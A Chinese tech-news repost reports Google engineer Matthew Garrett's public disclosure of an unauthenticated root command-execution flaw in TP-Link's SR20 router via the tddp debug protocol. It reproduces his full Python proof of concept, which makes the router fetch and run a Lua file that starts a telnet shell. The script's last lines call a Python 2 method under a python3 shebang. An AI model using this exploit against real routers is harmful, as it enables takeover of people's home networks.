内容简介:此前 Google 安全工程师在 TP-Link 的 SR20 智能家居路由器上发现了一个允许从本地网络连接执行任意命令的漏洞,他将问题报告给 TP-Link,但是经过了 90 天还没有得到官方的回应,于是他公开了该漏洞。 该问题由著...
此前 Google 安全工程师在 TP-Link 的 SR20 智能家居路由器上发现了一个允许从本地网络连接执行任意命令的漏洞,他将问题报告给 TP-Link,但是经过了 90 天还没有得到官方的回应,于是他公开了该漏洞。
该问题由著名的 Google 安全工程师与开源贡献者 Matthew Garrett 披露,周三他公开的 38 行概念验证代码显示出在利用 SR20 的漏洞时可以使用 root 权限执行设备上的任何命令,并且无需身份验证。
Matthew 解释,TP-Link 路由器经常以 root 身份运行名为“tddp”(TP-Link Device Debug Protocol,TP-Link设备调试协议)的进程。它已经存在了多个漏洞,其中一个没有身份验证。
“SR20 暴露了一些第一个版本协议的命令,其中一个(命令 0x1f,请求 0x01)似乎是用于某种配置验证”,他说:“你发送文件和相应参数,收到命令后,路由器通过 TFTP 响应请求的机器,询问文件名,将其导入 Lua 解释器,以 root 身份运行,并将参数发送到导入文件中的 config_test() 函数。Lua os.execute() 方法传递一个由操作系统 shell 执行的命令。”
由于解释器以 root 身份运行,所以可以执行任意命令。
#!/usr/bin/python3
# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
以上所述就是小编给大家介绍的《TP-Link 不回应,安全工程师公开了其路由器漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 饱受折磨的家用路由器 | 在研究的127个家用路由器中,没有一个路由器幸免
- fl2440制作无线路由器
- 华为路由器BGP邻居详解
- 路由器里的广告秘密
- 自己动手DIY:编译路由器固件
- 小米路由器 3G 刷机及固件
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
GOOGLE HACKS
Rael Dornfest、Tara Calishain / 卞军、谢伟华、朱炜 / 电子工业 / 2006-1 / 49.00元
GOOGLE HACKS巧妙使用网络搜索的技巧和工具(第二版)一起来看看 《GOOGLE HACKS》 这本书的介绍吧!